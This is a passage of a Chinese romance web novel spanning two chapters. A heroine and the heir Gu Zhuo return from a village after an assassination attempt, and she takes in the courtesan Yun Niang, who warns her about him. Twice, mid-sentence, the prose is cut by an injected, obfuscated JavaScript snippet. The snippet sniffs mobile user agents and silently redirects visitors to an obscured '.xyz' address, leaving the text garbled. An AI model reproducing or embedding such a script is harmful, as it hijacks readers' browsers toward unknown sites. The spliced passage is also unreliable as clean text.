虚实 灶膛里的柴火见了底。 乔婶正挽着袖子，在畜圈里与那湿冷污浊的泥泞较劲，腾不出手来。 祁悠然自告奋勇开口：“我去后山拾些枯枝。” 她说着，便弯下腰，手指伸向倚在墙角的空瘪竹筐。 指尖尚未触及那冰凉的竹篾，身侧却同时探过一只手。 那手修长、骨节分明，带着养尊处优的底色，此刻却沾了些许尘灰。 它稳稳地按在了竹筐粗糙的边缘上。 “我随你一同去。”顾濯的声音贴着她的耳廓响起。 祁悠然身形一顿，只极轻、极快地点了下头，松开了手。 顾濯便自然地将那轻飘飘的空竹筐，无声地提在了手中。 雪已停歇，山野覆着一层灰白。 两人一前一后，隔着不远不近、恰恰容得下寒风吹过的距离，在白茫茫的寂静里穿行。 俱是无言，只有脚下积雪咯吱咯吱的单调回响。 顾濯走在她斜后方半步。 祁悠然能清晰地感受到他的目光，若有似无地落在她被风吹得微微凌乱的鬓发上，或是冻得发红的指节上。 她不必回头，变感觉那目光已烙在背上。 两人沉默地劳作着。 祁悠然捡起一截形态嶙峋的枯枝递过去，顾濯便稳稳地接住。 那点手上的回应，是很快的一瞬。 幸好，枝干是长的，给两只手留足了余地。 风打着旋儿掠过光秃秃的枝桠，发出呜咽般的低鸣。 祁悠然鬓边一缕不听话的发丝，被风撩拨着，轻轻拂过她微凉的唇畔。 那点细微的麻痒，让她下意识地抿了抿唇。 可惜，枝干是长的…… 两人沉默的身影在雪地上投下两缕靠得极近、却又泾渭分明的影子。 那影子随着步伐无声地晃动、交叠，渐渐连成了一片模糊的、纠缠不清的淡墨，在荒凉的雪地里，描画着一幅无声的写意。 路过村口时，那说书人油滑的腔调，竟阴魂不散地又缠了上来。 翻来覆去，还是那套“林娘子三板斧”的腌臜话本， “啧，怎么又拾起这馊了的牙慧？”旁边一个闲汉剔着牙缝，含糊地问。 说书人三角眼一眯，搓着枯瘦的手指，涎着脸笑：“老少爷们儿爱听啊！这位林娘子，可是我的活财神爷！她和那位侯府公子，说是我这几日的衣食父母，都算委屈了他们！” 祁悠然心头一跳，仓皇地抬眼去寻顾濯的反应。 视线撞上的，却是一片深不见底的平静。 一丝侥幸的幻想，悄悄爬上祁悠然心头：或许……或许这件事，真能像这冬日的雪，化了，便了无痕迹？ 她这念头还未及成形，那厢说书人兀自咂摸着嘴，带着点意犹未尽的贪婪，竟自说自话起来：“唉，要我说啊，这林娘子编得还是不够味儿！忒不招人恨！下回得再添把火……不如改成膀大腰圆、面若夜叉？再剜她一只眼，割她半条舌？扔油锅里滚三滚才够劲道！” 他越想越得意，枯瘦的脸上泛着油光，仿佛已看见铜钱叮当落袋。 祁悠然的眉头狠狠一拧，想也未想，踮起脚从顾濯背着的竹筐里抠出一截矮小的树枝，手腕一扬，带着点孩子气的狠劲儿，精准地朝那唾沫横飞的身影掷了过去。 “啪！”一声干涩的闷响，结结实实砸中了说书人那嶙峋的佝偻脊背。 “哎哟喂——！”说书人吃痛地喊了一身，开口骂道，“哪个杀千刀的暗算你爷爷？” 你娘。 她在心里字正腔圆地回道。 . 回屋潦草地洗了洗手。 一抬眸，却发现顾濯在看她。 他就立在那儿，带着一种沉静的专注。 祁悠然睫毛慌乱地扑闪了两下：“怎么……怎么了？” “右颊上，沾了道灰印。”顾濯提醒。 她下意识地便抬起袖口，胡乱地朝自己脸上蹭了蹭。 动作仓促，倒像是要抹掉什么不自在。 顾濯无奈看她，竟自然地向前略倾了身。 影子温柔而专制地先笼住了她。 隔绝了周遭的光与尘。 万籁俱寂。 接着，顾濯的手抬了起来，温热的指腹取代了虚幻的影子，慢慢落定。 动作很轻。 像给脸抹上了胭脂。 指腹停留的时间极短，又仿佛极长。 然后，顾濯微微拉开了些距离。 光与尘重新涌入。 祁悠然却依然怔在原地，连呼吸都忘了。 那些浮动跳跃的光斑，那些无声游弋的微尘，成了眼前唯一的景象。 刚刚被冷水浸过的手指尖，泛起阵阵酥麻。 万物喧嚣。 . 胸膛里密密的心跳未及平息，耳边便传来更密、更急的脚步声。 一道男声由远及近，带着急促、欣喜：“世子！郡主！可算寻着您二位了！” 两个称呼把祁悠然拉回了冰冷的现实。 “倒是比预想中来得快。”祁悠然语气平平地评价。 江烨喘匀了气，脸上带着劫后余生般的庆幸：“还得感谢庆国公府的林夫人。” “张嫣？”祁悠然眉梢一挑，语气带着点玩味。 “正是正是！”江烨迭声应着，“林夫人说，您遇刺那晚，她曾前来寻郡主您叙旧，结果扑了个空。第二日再去，竟又吃了闭门羹。林夫人何等机敏人物，立时便觉出了不对味儿！” 祁悠然：“……” 说人话就是，张嫣那晚专程寻上门来找茬，结果扑了个空。 阴差阳错，竟是这存心使绊子的坏心，歪打正着办了一桩救命的“好事”。 “还好我得罪的人多。”她幽幽感叹。 “……”江烨张了张嘴，终究没敢接这茬。 他下意识地看向一旁，却发现顾濯一直抿着唇。 不对劲。 顾濯一贯是面无表情，但根据多年的经验，江烨敏锐地察觉到，顾濯此刻似乎……并不高兴。 江烨心中浮起疑惑，虽中途出了岔子，但一切都很顺利，人寻着了，毫发无损，连日头都格外赏脸，眼下就待回京了。 世子……究竟还有哪一出不满意？ 乔婶听见动静，慌慌张张地跑出来：“这是怎么了？” 她看看眼前这对璧人——男的沉静如渊，女的面色不虞，再看看那阵势森严的人马，一颗心直往下沉：“老天爷！莫不是……莫不是你们那高门大户里的父母寻来了？” “作孽啊！”乔婶的声音都带上了哭腔，“既然两情相悦，哪里要管那么多！非要棒打鸳鸯、拆散良缘！这这这……天底下哪有这样的道理！”她急得原地跺了跺脚，偏偏又无能为力，只能干瞪着为首的那个劲装男子。 江烨：“？” 他被这妇人刀子般的眼神剐得莫名其妙，困惑地眨了眨眼，视线在自家沉静如常的世子和面色略显古怪的郡主身上来回逡巡，丈二和尚摸不着头脑。 顾濯看向祁悠然，带着些无奈。 祁悠然抿嘴，带着点做坏事没藏住的窘迫，尴尬地摸了摸鼻子。 她亲昵地伸手揽过乔婶的肩膀，半推半扶地将她往屋里带，声音放得又软又轻，带着点哄劝的意味：“乔婶，您别急，别急……这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860287|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事儿啊，说来话长，我们进屋慢慢说，好不好？” 顾濯看着她心虚的背影，唇角无声地向上牵动了一下。 他微微侧过脸，视线并未从祁悠然消失的门扉上收回，声音却已清晰地落向侍立一旁的江烨：“把里正叫来。” . 上马车前，祁悠然略停了停，回望向这座低伏在山坳里的村子。 江烨带来的人马虽不多，却个个甲胄鲜明、鞍辔齐整，在这灰扑扑的村落前，显得格外扎眼。 村口早已聚拢了些人影，远远地、无声地打量着这格格不入的阵仗。 她迎上乔婶和翠儿的目光，唇角向上弯起，朝她们绽开一个笑。 像在告别一个冗余的梦。 接着，她转身，踏上那铺着厚厚锦缎的车凳。 裙裾拂过冰冷的木辕，像收起一片无意间垂落的云霞。 . “你想好怎么报恩了吗？”祁悠然看向顾濯。 此时的他，又是那副矜贵疏离的样子。 茶雾袅袅，氤氲在他低垂的眼睫前，像隔了一层薄纱，让人辨不清真意。 他指尖摩挲着杯沿，动作斯文，出口的话亦是一套早已厘清的章程：“暂时安排了里正多关照些，晚些时候会有人帮着修缮屋子。” 他略顿，呷了一口茶，并未给他清冷的面容添上半分暖意：“等回府查清楚底细，我会给一份地契，平时佃户代为打理，收益归她们母女所有。将来翠儿大了，府里自会替她物色个殷实本分的人家。” 祁悠然静静地听着，看着。 面前的男人，依旧是周到妥帖。 这份“报恩”，从柴米油盐到终身大事，被他安排得条理分明，滴水不漏。 茶烟在两人之间无声缭绕。 祁悠然忍不住想，他处理这人情往来尚且如同下棋落子，步步为营，算无遗策。那若没有她这个意外搅入棋局，凭他这般心性手段，在那不见血的官场修罗场上，该是何等长袖善舞，平步青云？ 怕是要一路扶摇直上，直抵凌云吧。 一路无言。 马车终于在府邸门前停稳，顾濯照例先行下车。 车帘晃动，泄入一丝外面清冷的夜气。 祁悠然随后起身，正待扶着车辕踏下，一只骨节分明的手却意外地伸到了她眼前。 指节微蜷着，极其放松自然地伸到了她眼前。 那蜷起的指节落下了一点阴影，整只手并不全在光里，亦非沉沦于暗处。 可也就是着半明半晦的样子，让这只手更真实了。 它伸在眼前，为她提供一点带着体恤的支持。 仿佛在邀请，又仿佛在宣告一种理所当然的靠近。 祁悠然伸出的手顿在半空，指尖离那手尚有一线之隔。 她反应过来后，故作平静地搭了上去。 不过那点皮肉挨着罢了。她试图驱散心中泛起的热意。 “车马劳顿，你早些歇息。”顾濯收回手。 他没有朝祁悠然看，就看也看不见，但他知道她是欢喜的。 他感受到了那受宠若惊的目光。 这让他不自在。 心下难安，便加快了步子。 祁悠然迟缓地收回注视他离开的目光。 心底那点沉寂的、连自己都不敢深究的念想，此刻又浮现。 周围的雪地泛着光，檐下的挂灯也散着光。 虽是黑夜，但四周却是亮的。 照得她遍体通明。 算是守得云开见月明了吗？ 她抬起了眼，望向天空。 然而云层之下，只有星子的冷眼，和一片无边无际的暗夜。 32. 趟水 世子郡主，各归各位。 侯府的日子，于祁悠然而言，不过是漫长的雨天行路。 撑着把伞，辨认脚下，趟过水坑。 偶尔，在某个雨声渐缓的时刻，她也会短暂地怀念起曾经的天晴来。 这场来势汹汹的暗杀，处理起来却棘手而诡谲。 江烨赶到时，只有满地的死气。 被遮掩过的、空白的死气。 最终，天子脚下，为了息事宁人、粉饰太平，宫里的赏赐倒是一箱一箱，流水似的抬了进来。 对此，祁悠然并不意外。 再严重的事，只要牵扯到她与侯府，宫里那一位便会这么含糊遮掩过去，封缄所有窥探的嘴。 她的目光漠然地垂下。 珠翠绫罗、珍玩古器，华丽的箱子被随意堆放在灰扑扑的地砖上，与这偌大的侯府一道成了祭品。 她不合时宜地想起了那八宝鸭。 肥硕的鸭子被干净利落地开了背，露出空洞的腹腔。 然后，那些价值不菲的辅料——发好的瑶柱、油亮的火腿丁、饱满的莲子、莹白的糯米……被带着一种近乎冷酷的耐心，一勺一勺，不容抗拒地充填进去。直到那腹腔被塞得满满当当，鼓胀欲裂，再也容不下丝毫缝隙。 然后呢？ 然后，便是上笼，用那滚烫的、窒息般的蒸汽，去蒸熟。 一场无声的谋杀。 这死寂沉沉的局面里，唯一算得上好消息的，便是芸娘竟还活着。 虽然获救时已经奄奄一息，但勉强留着一口气在。 她被安置在侯府的厢房，在药炉的微火与侍婢压抑的脚步声中沉睡着。 直到最近才醒来。 祁悠然站在床边，隔着几步的距离，看着眼前这个险些被无妄之灾彻底摧毁的女子。 此刻的面庞没有了拙劣脂粉的遮掩，透出底下无可挽回的、被岁月侵蚀的衰老来。 被脂粉与酒液腌渍的脸泛着黄白混杂的死气。 她朝祁悠然不自在地笑了笑，眼角的细纹，那几道深深的褶子，总让人觉得缝隙里还嵌着洗不净的脂粉残垢。 或许自己也察觉到了这笑容的不堪，她及时地收住了，只微微弯了弯唇，幅度并不大，像把那点可怜的体面轻轻勾起，却不是为了自己，而是怕冒犯了眼前的贵人。 “为何会跑来救我？”祁悠然神色复杂地看她。 她与这女子不过一面之缘，甚至因迁怒弄脏了对方的鞋。虽然后面赔了糕点与新鞋，但那点微不足道的补偿，如何值得用命来填？ 芸娘深深看着她，她那双眼睛惯是媚的，那是风尘之地生计的不得已。此刻却担了重量，显得浑浊而厚重起来。 “想必郡主是不记得我了。”她缓缓开口，气息微弱，语气却奇异地平静，像在讲述别人的故事，“三年前，宣平侯府……那个……像块破布一样扔在雪地里的女人……您……可还有一丝半点的印象？” 祁悠然蹙眉。 三年前。 那时她刚刚接触这些京城的上流圈子。 人气酒气，烟气花气，混沌沌，污浊不堪，熏得人作呕。 顾濯惯是不理会这些的，他有他的清高与冷漠。 那是一种近乎奢侈的置身事外。 但她不能。 为这行将就木的的府邸注入生机，金银是再直接而有用的续命汤药。 门路、关系、生意……哪一桩不是要在这片五光十色的泥淖里深一脚浅一脚地跋涉、打滚？滚得一身油腻腻、洗不净的市侩气。 所以她强忍着，活吞苍蝇似的，捏着鼻子，在那些虚与委蛇、觥筹交错中周旋。 离席出门时，寒风卷着雪粒子，刀子般刮在脸上。就在那朱门兽环、灯火辉煌的阴影里，她猝不及防地撞见了一具……残破的身体，像一滩被随意丢弃的垃圾，蜷缩在冰冷的雪地上。 朱门酒肉臭，路有冻死骨。 她以为那女人早已冻毙。 那一刻，并非出于多么高尚的慈悲，更像是被眼前这权贵腌臜的极致景象狠狠恶心到了，那点被浮华权势反复筛过、挤压得只剩下粉末的良心，被寒风一激，漏下了一星半点。 她解下自己那件还算厚实的斗篷，带着一种近乎施舍般的、高高在上的怜悯，匆匆覆在了那具冰冷的躯体上。 这在她那天的记忆里，不过是极其微小、甚至微不足道的一件小事。 小到像鞋底沾上的一点泥，很快就被其他更重要的、更烦心的事覆盖了。 可能远不及晚上回府，顾濯闻到她身上沾染的酒气时，那微微蹙起的、带着不赞同的眉头，给她带来的触动来得大。 却不成想，这份她早已抛诸脑后的、不足挂齿的、甚至带着自我排解意味的随手之举，被人记了三年。 祁悠然的目光，沉甸甸地，落在芸娘身上。 她想，她不能辜负她。 不能辜负这份真诚的、用命搏来的知恩图报；不能辜负这珍贵的、滚烫得几乎能灼伤人的拳拳之心。 这份心意，过于厚重，过于纯粹，让她无法再以侯府的冷漠、世故或权衡去敷衍。 她必须对此做出回应，一种足以配得上这份心意的、有分量的回应。 于是，她微微向前倾了倾身子。 “你愿意留在我身边吗？” 没有俯就，没有施舍，她将自己的视线，与芸娘的眼睛，置于了几乎平行的高度。 芸娘怔住，那双浑浊的眼睛里瞬间涌上复杂的情绪，有难以置信，有惶恐，有卑微的喜悦，最终都沉淀为一种更深沉的郑重。她没有丝毫犹豫，甚至像是怕这机会转瞬即逝，用力地、认真地点了点头。 “郡主……”干裂的嘴唇翕动了一下，芸娘犹豫半晌，还是开口：“那位顾世子……不是能托得住你的主儿。” 祁悠然正俯身替她掖了掖被角。闻言，她指尖一顿。 “我自己能托举我自己。不必他费心。” 这话掷地有声，带着几分倔强和骄傲。 她甚至朝芸娘努力地笑了笑，那笑容里带着一种她自己都未察觉的、属于深闺少女的娇怯与维护：“他……容貌是顶好的，学问也是拔尖的，为人更是挑不出半点错处。虽说我们之间……是有些误会，”她下意识地捻了捻袖口，“但近来……那些隔阂，正在一点点消融。” 她知道顾濯自有他的一方天地，他在她心里永远是有特权的。所以，她早已习惯，甚至甘愿默许他永远置身事外地俯视着尘世的喧嚣与泥泞。 她全然没有意识到，自己此刻谈及顾濯时，眼波流转间泄露的那一丝女儿情态，在芸娘眼里，显得如此天真又……危险。 “我不是说的这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866015|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”芸娘目光复杂而沉重地锁在祁悠然脸上，缓缓摇头，声音更沉，“我……虽然做的是最不入流的勾当，但这些年看过得人太多太多了。形形色色，虚情假意的，装腔作势的，色厉内荏的……一眼便能看穿个七八分。” 她顿了顿：“唯独这位世子……实在看不透。郡主……这看不透的，往往才是最要命的。” 话音未落，芸娘又轻轻笑了笑：“那天他来红绡楼，身边的人都在议论他。那些三教九流，达官显贵看不起我们，便是对着我们颐指气使。但他不一样。他不是看不起，他是……瞧不上。那眼神太冷、太空了。好像……什么东西都进不到那双眼睛里。” “……或许只是我多心了，随口乱说的话，郡主别当真……”她看向祁悠然，语气重又变得小心翼翼。 祁悠然慌乱地移开眼，不再看芸娘的眼睛。 她手指无意识地伸向旁边小几上的瓷碟，慌乱地抓起一块糕点，看也不看，便用力塞进了嘴里。 . 春雨淅淅沥沥落下，像一张细密冰冷的帘幕，将京城里那些见不得光的诡谲风云，暂时敷衍地遮掩了去。 帘幕之后，宫阙深处，却是另一番景象。 太子不知何故，触怒龙颜，被软禁东宫，而那惯会做表面文章的誉王，却被委以重任，冠冕堂皇地派往青州治水去了。 君心难测，差事看似光鲜，底下是福是祸，只有天知道。 剩下的龙子凤孙们，更是一幅凋零破败的图景。 宁王病弱体虚，常年缠绵病榻，眼下早已闭门不出，成了深宫一具活着的影子。 端王则则一头扎进了风花雪月里，沉迷于附庸风雅，终日与琴棋书画、清谈狎客为伍，对那烫手的权柄，摆出一副敬谢不敏的姿态。 还有一个，早早被贬黜岭南，山高水远，瘴疠横行，此生是休想再踏入这京城一步了。 最末那位，尚在牙牙学语，连路都走不稳当，懵懂混沌，未经世事风霜，更遑论那吃人不吐骨头的帝王心术。 这偌大的、金碧辉煌的戏台上，只有班主一人坐镇。台下的看客屏息凝神，台上的角色七零八落，竟一时空旷得令人心慌。 京城里变幻莫测的权力棋局，如同这连绵不绝的春雨，下得再急再诡谲，落在祁悠然眼里，也不过是伞外一片模糊的灰白水汽。 她在这权力的泥沼里跋涉久了，鞋底早已沾满了洗不净的污秽与寒意。冰冷的污水浸透鞋袜，已是常态。 她不想去探究谁对那张冰冷的龙椅有兴趣，谁没有；也不想去费心分辨谁在扮猪吃老虎，谁又是真的蠢笨如猪，只等着被送上砧板。 那些龙椅旁明枪暗箭、兄弟阋墙的戏码，她懒得去猜，更懒得去赌。 雨水斜飘过来，打湿了她的鬓角，沿着冰冷的脸颊滑下，带来一丝清醒的冷意。 她拢了拢衣襟，将伞柄握得更紧了些。这是负累，亦是屏障。 至于那漫天泼洒的雨幕……由它去吧。 她管不了天，也管不了地，更管不了那深宫里翻云覆雨的手。她只需要确保，这瓢泼大雨打湿的，只她一人便好。然后，在这泥泞不堪、前路叵测的世道上，看清脚下每一寸湿滑的路，一步，一步，稳稳地，深深地，趟过去。 为的，只是让身后那座摇摇欲坠的侯府，能在下一个风雨来临前，多喘一口气。